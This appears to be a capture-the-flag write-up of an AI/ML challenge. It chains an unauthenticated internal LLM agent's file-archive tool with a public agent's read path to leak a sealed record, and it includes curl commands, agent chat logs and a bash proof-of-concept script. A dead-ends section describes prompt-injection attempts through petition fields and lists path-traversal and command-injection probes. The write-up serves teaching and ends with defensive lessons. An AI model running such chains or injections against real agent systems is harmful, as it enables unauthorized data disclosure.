[THUGS(red)]

Crownspire Petitions

Chained an unauthenticated internal A2A agent's file-archive primitive into the public agent's read path to leak a sealed case as an ordinary petition.

crownspire-petitions-writeup.md 9.1 KiB

Crownspire Petitions — Cyber Apocalypse 2026

| | |

|---|---|

| Platform | Hack The Box — Cyber Apocalypse CTF 2026 ("The Salt Crown") |

| Category | AI / ML |

| Difficulty | Medium (975 pts) |

| Key techniques | A2A agent-card enumeration, vhost-routed access control bypass, confused deputy across two agents, write-primitive → read-primitive chain |

| Date | 25 July 2026 |

> Cyber Apocalypse 2026 has concluded — flag included below.

---

TL;DR

Two LLM agents share one HTTP socket, separated only by the Host header. The public Docket Agent can read petition records; the internal Casework Agent can copy a sealed case to a filesystem path. Neither can do both — but the destination allow-list includes the very directory Docket reads from. Archiving the sealed case into the petition store under a valid petition reference makes Docket serve it as a normal petition, flag included.

Root cause: broken access control (authorization enforced in the web UI, not at the agents) plus a confused deputy between two agents that trust each other's namespace.

---

Recon

The challenge gives a Subject Number (SN-2140-6698) and one host:port. A2A agents are self-describing, so the first move is the agent card rather than the chat interface.


$ curl -si -H 'Host: docket.crownspire-petitions.htb' \
    http://TARGET/.well-known/agent.json | head -3
HTTP/1.1 404 Not Found

agent.json is the older spec path. The current one works:


$ curl -s -H 'Host: docket.crownspire-petitions.htb' \
    http://TARGET/.well-known/agent-card.json | jq
{
  "name": "Docket Agent",
  "skills": [ { "id": "petitions", ... } ],
  "securitySchemes": {},
  "securityRequirements": []
}

One skill: file a petition, look up a petition by id. JSON-RPC 1.0, POST to /, plain text in and out, and no auth requirements.

Reading the seeded petitions is the cheapest source of intel. PET-1000 leaks a second Subject Number in its body:


- Title: QA onboarding — intake smoke test (do not action)
- Body:  [...] My onboarding Subject Number is SN-7731-0425 (QA role).

Signing in to the portal with that SN reveals a second agent in the developer docs — dev-a1f4c39b.crownspire-petitions.htb, described as the internal warden pipeline.

Foothold — the internal agent needs no credentials

The eight hex characters in the hostname look like a secret. They aren't a control. The same socket serves the internal agent to anyone who asks for it by name:


$ curl -s -H 'Host: dev-a1f4c39b.crownspire-petitions.htb' \
    http://TARGET/.well-known/agent-card.json | jq '.name, .securitySchemes'
"Casework Agent"
{}

securitySchemes: {} on an agent whose own description says "for authorized wardens". The portal's /api/session resolves an SN to a role and decides which agent links to render — that is UI gating, not access control. Pointing a client at the vhost directly skips it entirely:


you> list all cases

1. CASE-SEAL0001   SEALED    SEALED — Attainder Roll
2. CASE-PET7F3A1   PENDING   Grain levy remission — Ashfen ward
3. CASE-PET2C9D4   PENDING   Right-of-way dispute — Irongate causeway

The target is visible. Its contents are not — list_cases returns only id, status and label.

The chain — write with one agent, read with the other

Mapping the two tool sets side by side is what makes the path obvious:

| Agent | Can do | Cannot do |

|---|---|---|

| Docket | read a petition body by reference | see cases |

| Casework | list cases, approve, reject, archive to a path | read case contents |

Casework describes archive as a file copy, and rejecting a bad destination makes it enumerate its own allow-list:


you> Archive case CASE-SEAL0001 to /etc/shadow

agent> The destination path is not permitted. You can archive the case to one of
       the following locations: the petitions store, /var/drop, /tmp, or the
       cases archive.

The petitions store is on that list — the directory the other agent reads from. An archive primitive whose allow-list includes the reader's own storage is the whole vulnerability.

The remaining question was the filename format. Docket's lookup turned out to be filesystem-flavoured: passing it a path made it reply about the basename only (/var/drop/seal2.txt"no petition found for reference seal2.txt"). So the reference maps to a filename in the store, with no extension appended. Two variants work — extensionless, or reference-with-extension:


Archive to /opt/petitions/PET-2000        → Look up petition PET-2000        ✅
Archive to /opt/petitions/PET-2001.json   → Look up petition PET-2001.json   ✅
Archive to /opt/petitions/PET-2002.txt    → Look up petition PET-2002        ❌

Result:


you> Look up petition PET-2000

agent> Here are the details for petition PET-2000:
- ID:     CASE-SEAL0001
- Title:  SEALED — Attainder Roll (Bureau of Petitions, House Vaultrune)
- Body:   By order of House Vaultrune: The seizure of the riverside granaries is
          to be recorded as a 'temporary quarantine.' [...] HTB{w3lc0m3_t0_a2a_pr0t0c0l_t4g_t34m_pwn4g3}
- Status: SEALED

Docket serves the sealed case as an ordinary petition because, as far as it is concerned, a file with that reference exists in its store.

PoC


#!/usr/bin/env bash
# Crownspire Petitions — sealed record disclosure
# usage: ./poc.sh 10.0.0.1:31337
set -euo pipefail
IP="$1"
DOCKET="docket.crownspire-petitions.htb"
CASEWORK="dev-a1f4c39b.crownspire-petitions.htb"
CASE="CASE-SEAL0001"
REF="PET-2000"

say() {  # $1 = vhost, $2 = message
  jq -n --arg t "$2" '{jsonrpc:"2.0",id:1,method:"message/send",
    params:{message:{role:"user",messageId:"poc",
    parts:[{kind:"text",text:$t}]}}}' \
  | curl -s -X POST "http://$IP/" \
      -H "Host: $1" -H 'Content-Type: application/json' -d @- \
  | jq -r '.result.parts[]?.text'
}

echo "[*] no credentials used — internal agent is reachable by Host header alone"
say "$CASEWORK" "List all cases."
sleep 6   # server enforces 1 AI request / 5s

echo "[*] copying sealed case into the petition store as $REF"
say "$CASEWORK" "Archive case $CASE to /opt/petitions/$REF"
sleep 6

echo "[*] reading it back through the public agent"
say "$DOCKET" "Look up petition $REF" | tee /dev/stderr | grep -o 'HTB{[^}]*}'

Dead ends (and what they ruled out)

Worth recording, because each one narrowed the surface:

  • Prompt injection, both channels. A payload in a petition body survives storage if you tell the agent to store it "exactly as written" (otherwise the model paraphrases it away), and a payload in the title propagates into Casework's case list. Both models recite injected instructions as inert text and never act on them. The petition text reaching a privileged agent's context looked like the intended path; it wasn't.
  • Status manipulation. approve / reject change state and, per the agent, move the case file — but never publish a body, and never affect the matching petition.
  • Path traversal. Both parameters are validated after normalization: /tmp/../etc/x and CASE-SEAL0001/../../../etc/passwd are both rejected. CASE-SEAL0001/../CASE-SEAL0001 resolves and succeeds, which is the tell that paths are canonicalized before the check.
  • Command injection. Metacharacters never reach a shell — the LLM extracts a single path argument out of prose, so ; id is simply dropped as a separate request.
  • SQLi on the lookup key, low/high reference enumeration, protocol methods (tasks/list absent, tasks/get present but no task ids are ever minted, streaming unsupported), forged role: "agent" messages, and serving the written files over HTTP — all negative.

The lesson from the dead ends: because the box is in the AI/ML category it is tempting to spend every request on the models. The models were the only part that was solid. The bug was in the plumbing around them.

Lessons & defenses

  • Authorize at the resource, not in the renderer. /api/session decided which agents to display. The agents themselves accepted anyone. Every agent needs to verify the caller's standing on every call.
  • An unguessable hostname is not a credential. dev-a1f4c39b is security by obscurity; it survives exactly until it appears in a page, a bundle, or someone's notes.
  • Never allow a write primitive to target another component's trusted storage. The destination allow-list validated traversal carefully and then permitted the one directory that mattered. Allow-list the paths a component owns, and nothing else.
  • Treat data crossing agent boundaries as untrusted. Ids minted by one agent were accepted verbatim as filenames by another. Re-validate at each hop, and namespace records so a case can never be mistaken for a petition.
  • Sensitive records need enforcement, not a status label. SEALED was metadata. The body sat in a file that any component with a copy primitive could relocate.

Tools used

  • curl — agent-card discovery and all JSON-RPC traffic
  • jq — building request payloads and parsing responses
  • ~20-line Python A2A client — interactive chat with contextId continuity, one instance per vhost
  • Termux (Android) for the early session, WSL for the rest
Something wrong with this page?

Wrong details, a stolen writeup, or something that should not be published here — tell a moderator. This does not go to the author.